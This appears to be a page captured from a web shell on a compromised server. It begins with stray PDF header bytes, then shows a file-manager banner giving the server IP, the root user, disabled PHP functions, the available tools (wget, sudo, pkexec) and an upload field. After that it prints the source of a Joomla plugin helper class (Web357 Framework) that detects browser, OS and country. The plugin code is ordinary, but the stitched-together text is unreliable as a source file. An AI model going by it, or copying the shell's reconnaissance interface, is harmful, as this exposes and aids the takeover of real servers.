%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/old/plugins/system/web357framework/ |
Upload File : |
<?php /* ====================================================== # Web357 Framework for Joomla! - v1.7.7 (Free version) # ------------------------------------------------------- # For Joomla! CMS # Author: Web357 (Yiannis Christodoulou) # Copyright (©) 2009-2019 Web357. All rights reserved. # License: GNU/GPLv3, http://www.gnu.org/licenses/gpl-3.0.html # Website: https:/www.web357.com/ # Demo: https://demo.web357.com/joomla/web357framework # Support: support@web357.com # Last modified: 11 Jun 2019, 13:11:46 ========================================================= */ defined('_JEXEC') or die('Restricted access'); if (!class_exists('Web357FrameworkHelperClass')): class Web357FrameworkHelperClass { var $is_j25x = ''; var $is_j3x = ''; var $apikey = ''; function __construct() { // Define the DS (DIRECTORY SEPARATOR) $this->defineDS(); // Get Joomla's version $jversion = new JVersion; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 // get the Joomla! version if (!version_compare($mini_version, "2.5", "<=")) : // is Joomla! 3.x $this->is_j3x = true; $this->is_j25 = false; else: // is Joomla! 2.5.x $this->is_j3x = false; $this->is_j25 = true; endif; // get API Key from the plugin settings $this->apikey = $this->getAPIKey(); } // Define the DS (DIRECTORY SEPARATOR) public static function defineDS() { if (!defined("DS")): define("DS", DIRECTORY_SEPARATOR); endif; } /** * Get User's Browser (e.g. Google Chrome (64.0.3282.186)) * @param $user_agent null * @return string */ public static function getBrowser() { $u_agent = $_SERVER['HTTP_USER_AGENT']; $bname = 'Unknown'; $ub = 'Unknown'; $platform = 'Unknown'; $version= ""; //First get the platform? if (preg_match('/linux/i', $u_agent)) { $platform = 'linux'; } elseif (preg_match('/macintosh|mac os x/i', $u_agent)) { $platform = 'mac'; } elseif (preg_match('/windows|win32/i', $u_agent)) { $platform = 'windows'; } // Next get the name of the useragent yes seperately and for good reason if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)) { $bname = 'Internet Explorer'; $ub = "MSIE"; } elseif(preg_match('/Trident/i',$u_agent)) { // this condition is for IE11 $bname = 'Internet Explorer'; $ub = "rv"; } elseif(preg_match('/Firefox/i',$u_agent)) { $bname = 'Mozilla Firefox'; $ub = "Firefox"; } elseif(preg_match('/Chrome/i',$u_agent)) { $bname = 'Google Chrome'; $ub = "Chrome"; } elseif(preg_match('/Safari/i',$u_agent)) { $bname = 'Apple Safari'; $ub = "Safari"; } elseif(preg_match('/Opera/i',$u_agent)) { $bname = 'Opera'; $ub = "Opera"; } elseif(preg_match('/Netscape/i',$u_agent)) { $bname = 'Netscape'; $ub = "Netscape"; } // finally get the correct version number // Added "|:" $known = array('Version', $ub, 'other'); $pattern = '#(?<browser>' . join('|', $known) . ')[/|: ]+(?<version>[0-9.|a-zA-Z.]*)#'; if (!preg_match_all($pattern, $u_agent, $matches)) { // we have no matching number just continue } // see how many we have $i = count($matches['browser']); if ($i != 1): //we will have two since we are not using 'other' argument yet //see if version is before or after the name if (strripos($u_agent,"Version") < strripos($u_agent,$ub)): $version= $matches['version'][0]; else: if (isset($matches['version'][1])): $version = $matches['version'][1]; elseif (isset($matches['version'][0])): $version= $matches['version'][0]; else: $version = ''; endif; endif; else: if (isset($matches['version'][0])): $version= $matches['version'][0]; else: $version = ''; endif; endif; // check if we have a number if ($version==null || $version=="") {$version="?";} $browser_details_arr = array( 'userAgent' => $u_agent, 'name' => $bname, 'version' => $version, 'platform' => $platform, 'pattern' => $pattern ); return $bname . ' (' . $version . ')'; } /** * Get User's operating system (e.g. Windows 10 x64) * @param $user_agent null * @return string */ public static function getOS($user_agent = null) { if(!isset($user_agent) && isset($_SERVER['HTTP_USER_AGENT'])) { $user_agent = $_SERVER['HTTP_USER_AGENT']; } // https://stackoverflow.com/questions/18070154/get-operating-system-info-with-php $os_array = array( 'windows nt 10' => 'Windows 10', 'windows nt 6.3' => 'Windows 8.1', 'windows nt 6.2' => 'Windows 8', 'windows nt 6.1|windows nt 7.0' => 'Windows 7', 'windows nt 6.0' => 'Windows Vista', 'windows nt 5.2' => 'Windows Server 2003/XP x64', 'windows nt 5.1' => 'Windows XP', 'windows xp' => 'Windows XP', 'windows nt 5.0|windows nt5.1|windows 2000' => 'Windows 2000', 'windows me' => 'Windows ME', 'windows nt 4.0|winnt4.0' => 'Windows NT', 'windows ce' => 'Windows CE', 'windows 98|win98' => 'Windows 98', 'windows 95|win95' => 'Windows 95', 'win16' => 'Windows 3.11', 'mac os x 10.1[^0-9]' => 'Mac OS X Puma', 'macintosh|mac os x' => 'Mac OS X', 'mac_powerpc' => 'Mac OS 9', 'linux' => 'Linux', 'ubuntu' => 'Linux - Ubuntu', 'iphone' => 'iPhone', 'ipod' => 'iPod', 'ipad' => 'iPad', 'android' => 'Android', 'blackberry' => 'BlackBerry', 'webos' => 'Mobile', '(media center pc).([0-9]{1,2}\.[0-9]{1,2})'=>'Windows Media Center', '(win)([0-9]{1,2}\.[0-9x]{1,2})'=>'Windows', '(win)([0-9]{2})'=>'Windows', '(windows)([0-9x]{2})'=>'Windows', // Doesn't seem like these are necessary...not totally sure though.. //'(winnt)([0-9]{1,2}\.[0-9]{1,2}){0,1}'=>'Windows NT', //'(windows nt)(([0-9]{1,2}\.[0-9]{1,2}){0,1})'=>'Windows NT', // fix by bg 'Win 9x 4.90'=>'Windows ME', '(windows)([0-9]{1,2}\.[0-9]{1,2})'=>'Windows', 'win32'=>'Windows', '(java)([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,2})'=>'Java', '(Solaris)([0-9]{1,2}\.[0-9x]{1,2}){0,1}'=>'Solaris', 'dos x86'=>'DOS', 'Mac OS X'=>'Mac OS X', 'Mac_PowerPC'=>'Macintosh PowerPC', '(mac|Macintosh)'=>'Mac OS', '(sunos)([0-9]{1,2}\.[0-9]{1,2}){0,1}'=>'SunOS', '(beos)([0-9]{1,2}\.[0-9]{1,2}){0,1}'=>'BeOS', '(risc os)([0-9]{1,2}\.[0-9]{1,2})'=>'RISC OS', 'unix'=>'Unix', 'os/2'=>'OS/2', 'freebsd'=>'FreeBSD', 'openbsd'=>'OpenBSD', 'netbsd'=>'NetBSD', 'irix'=>'IRIX', 'plan9'=>'Plan9', 'osf'=>'OSF', 'aix'=>'AIX', 'GNU Hurd'=>'GNU Hurd', '(fedora)'=>'Linux - Fedora', '(kubuntu)'=>'Linux - Kubuntu', '(ubuntu)'=>'Linux - Ubuntu', '(debian)'=>'Linux - Debian', '(CentOS)'=>'Linux - CentOS', '(Mandriva).([0-9]{1,3}(\.[0-9]{1,3})?(\.[0-9]{1,3})?)'=>'Linux - Mandriva', '(SUSE).([0-9]{1,3}(\.[0-9]{1,3})?(\.[0-9]{1,3})?)'=>'Linux - SUSE', '(Dropline)'=>'Linux - Slackware (Dropline GNOME)', '(ASPLinux)'=>'Linux - ASPLinux', '(Red Hat)'=>'Linux - Red Hat', // Loads of Linux machines will be detected as unix. // Actually, all of the linux machines I've checked have the 'X11' in the User Agent. //'X11'=>'Unix', '(linux)'=>'Linux', '(amigaos)([0-9]{1,2}\.[0-9]{1,2})'=>'AmigaOS', 'amiga-aweb'=>'AmigaOS', 'amiga'=>'Amiga', 'AvantGo'=>'PalmOS', //'(Linux)([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,3}(rel\.[0-9]{1,2}){0,1}-([0-9]{1,2}) i([0-9]{1})86){1}'=>'Linux', //'(Linux)([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,3}(rel\.[0-9]{1,2}){0,1} i([0-9]{1}86)){1}'=>'Linux', //'(Linux)([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,3}(rel\.[0-9]{1,2}){0,1})'=>'Linux', '[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,3})'=>'Linux', '(webtv)/([0-9]{1,2}\.[0-9]{1,2})'=>'WebTV', 'Dreamcast'=>'Dreamcast OS', 'GetRight'=>'Windows', 'go!zilla'=>'Windows', 'gozilla'=>'Windows', 'gulliver'=>'Windows', 'ia archiver'=>'Windows', 'NetPositive'=>'Windows', 'mass downloader'=>'Windows', 'microsoft'=>'Windows', 'offline explorer'=>'Windows', 'teleport'=>'Windows', 'web downloader'=>'Windows', 'webcapture'=>'Windows', 'webcollage'=>'Windows', 'webcopier'=>'Windows', 'webstripper'=>'Windows', 'webzip'=>'Windows', 'wget'=>'Windows', 'Java'=>'Unknown', 'flashget'=>'Windows', // delete next line if the script show not the right OS //'(PHP)/([0-9]{1,2}.[0-9]{1,2})'=>'PHP', 'MS FrontPage'=>'Windows', '(msproxy)/([0-9]{1,2}.[0-9]{1,2})'=>'Windows', '(msie)([0-9]{1,2}.[0-9]{1,2})'=>'Windows', 'libwww-perl'=>'Unix', 'UP.Browser'=>'Windows CE', 'NetAnts'=>'Windows' ); // https://github.com/ahmad-sa3d/php-useragent/blob/master/core/user_agent.php $arch_regex = '/\b(x86_64|x86-64|Win64|WOW64|x64|ia64|amd64|ppc64|sparc64|IRIX64)\b/ix'; $arch = preg_match($arch_regex, $user_agent) ? '64' : '32'; foreach ($os_array as $regex => $value) { if (preg_match('{\b('.$regex.')\b}i', $user_agent)) { return $value.' (x'.$arch.')'; } } return 'Unknown'; } /** * * Get User's Country with geoplugin.net * * @return string */ public static function getCountry() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryName != null) { $result = $ip_data->geoplugin_countryName; } return $result; } /** * * Fetch the API Key from the plugin settings * * @return string */ public static function getAPIKey() { $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select($db->quoteName('params')); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('element') . ' = ' . $db->quote('web357framework')); $query->where($db->quoteName('folder') . ' = ' . $db->quote('system')); $db->setQuery($query); try { $plugin = $db->loadObject(); $plugin_params = new JRegistry(); $plugin_params->loadString($plugin->params); return $plugin_params->get('apikey', ''); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } } /** * * Displays a warning message if the Web357 API key has not been set in the plugin settings. * * USAGE: * // API Key Checker * $w357frmwrk->apikeyChecker(); * * @return string */ public function apikeyChecker() { if (empty($this->apikey) || $this->apikey == '') { // warn about missing api key $api_key_missed_msg = JText::_('<span class="icon-key" aria-hidden="true"></span> In order to update commercial Web357 extensions you have to add your Web357 API Key in the <a href="index.php?option=com_plugins&view=plugins&filter[search]=Web357%20Framework" title="Web357 Framework plugin settings"><strong>Web357 Framework plugin</strong></a>. You can find the API Key in your <a href="https://www.web357.com/payment-history" target="_blank" title="Web357 Account Settings"><strong>Account settings at Web357.com</strong></a>.'); // display the message JFactory::getApplication()->enqueueMessage($api_key_missed_msg, 'warning'); // remove the warning heading from alert message JFactory::getDocument()->addStyleDeclaration('.alert .alert-heading { display: none; }'); } } } endif; // HOW TO USE /* function W357FrameworkHelperClass() { // Call the Web357 Framework Helper Class require_once(JPATH_PLUGINS.DIRECTORY_SEPARATOR.'system'.DIRECTORY_SEPARATOR.'web357framework'.DIRECTORY_SEPARATOR.'web357framework.class.php'); $w357frmwrk = new Web357FrameworkHelperClass; return $w357frmwrk; } $this->W357FrameworkHelperClass(); echo $this->W357FrameworkHelperClass()->test; */